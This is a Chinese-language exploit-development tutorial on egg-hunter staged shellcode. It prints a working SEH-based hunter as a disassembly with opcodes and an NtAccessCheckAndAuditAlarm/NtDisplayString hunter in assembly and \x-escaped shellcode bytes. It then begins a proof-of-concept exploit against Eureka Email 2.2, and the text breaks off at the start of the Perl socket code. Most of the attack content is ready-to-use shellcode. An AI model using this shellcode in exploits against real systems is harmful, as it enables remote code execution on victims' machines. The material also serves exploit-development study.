寻蛋技术是 Staged shellcode 技术的一种
寻蛋 是利用一小段代码 来在内存中寻找真正的(代码尺寸较大的)shellcode(the egg)的技术。
也就是是 利用好一小段代码被执行,然后找到真正的shellcode并且执行
3个前置条件:
1)必须能够跳转(jmp call push/ret)并且执行一些shellcode。这时有效的缓冲区内存可以相对小一些,以为这时只需要保存那些寻蛋代码(egg hunter)
寻蛋代码必须被防止在预先设定的位置,这样才能控制代码可靠地跳转到寻蛋代码然后执行寻蛋代码
2)最终要执行shellcode必须在内存的某个位置(堆,栈)存在
3)必须最终要执行的shellcode的前面放置 唯一标识。最初执行的shellcode(寻蛋代码)将逐字节的搜寻内存来寻找这个标识。
找到后jmp call 指令开始执行跟在标志后的代码。
遇到问题: 1 一段时间 CPU 占用 2经过很长时间,shellcode才能开始执行
技术基础:
1)用到的标识是唯一的(通常前4个字节来定义标识,然后把两个连续的标识8字节放在真正的shellcode前面)
2)对于特定的exploit , 需要测试哪个内存搜索技术可以工作(eg: NTAccessCheckAndAuditAlarm)
3) 不同的技术需要不同大小的存储空间来存储寻蛋代码:
1 利用SEH 的寻蛋 需要大约60字节,
00401580 > /EB 21 jmp Xtestexpl.004015A3
00401582 |59 pop ecx
00401583 |B8 70616E64 mov eax,0x646E6170
00401588 |51 push ecx
00401589 |6A FF push -0x1
0040158B |33DB xor ebx,ebx
0040158D |64:8923 mov dword ptr fs:[ebx],esp
00401590 |6A 02 push 0x2
00401592 |59 pop ecx
00401593 |8BFB mov edi,ebx
00401595 |F3:AF repe scas dword ptr es:[edi]
00401597 |75 07 jnz Xtestexpl.004015A0
00401599 |FFE7 jmp edi
0040159B |66:81CB FF0F or bx,0xFFF
004015A0 |43 inc ebx
004015A1 ^|EB ED jmp Xtestexpl.00401590
004015A3 \E8 DAFFFFFF call testexpl.00401582
004015A8 6A 0C push 0xC
004015AA 59 pop ecx
004015AB 8B040C mov eax,dword ptr ss:[esp+ecx]
004015AE B1 B8 mov cl,0xB8
004015B0 830408 06 add dword ptr ds:[eax+ecx],0x6
004015B4 58 pop eax
004015B5 83C4 10 add esp,0x10
004015B8 50 push eax
004015B9 33C0 xor eax,eax
004015BB C3 retn
43 EB ED E8 DA FF FF FF 6A 0C 59 8B 04 0C B1 B8 83 04 08 06 58 83 C4 10 50 33 C0 C3
2 利用IsBadReadPtr 需要37字节 ,
3 NtDisplayString 需要32字节(NT核心)
4 NTAccessCheckAndAuditAlarm寻蛋
L000:
or dx,0xFFF
L001:
inc edx
push edx
push 0x43 ;这里0x43则表示使用NtDisplayString 0x2 表示NtAccessCheckAndAuditAlarm
pop eax
int 0x2E
cmp al,0x5 ;check 0xc0000005 == ACCESS_VIOLATION
pop edx
je L000
mov eax,0x50905090 ;this is the egg
mov edi,edx
scas dword ptr es:[edi]
jnz L001
scas dword ptr es:[edi]
jnz L001
jmp edi
66 81 CA FF 0F 42 52 6A
0258 CD 2E 3C 05 5A 74 EF B8
70 61 6e 64 8B FA AF 75 EA AF 75 E7 FF E7
\x66\x81\xCA\xFF\x0F\x42\x52\x6A \x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8 \x70\x61\x6e\x64\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7
70 61 6E 64 -> pand
具体采用哪种寻蛋方案 主要取决于: 1 运行寻蛋代码所需要的 缓冲区大小 2你需要测试选用的搜索内存的技术是否能在您的机器上和你要利用的exploit上正常工作
什么情况下用这种技术呢? 1)我们插入shellcode 某一部分变了,2)不知道要NOP多少字节才放入shellcode
!mona egg -t pand
产生 egg hunter code
举个例子: eureka-email Version 2.2
pop3简介: http://baike.baidu.com/view/5404.htm?fr=aladdin#3_7
软件 下载地址: http://www.eureka-email.com/VersionHistory.html
配置如下:
普通的POC (没有任何阻力的情况下):
use Socket;
#Log data, 条目 109
#地址=7DCFD8E4
#消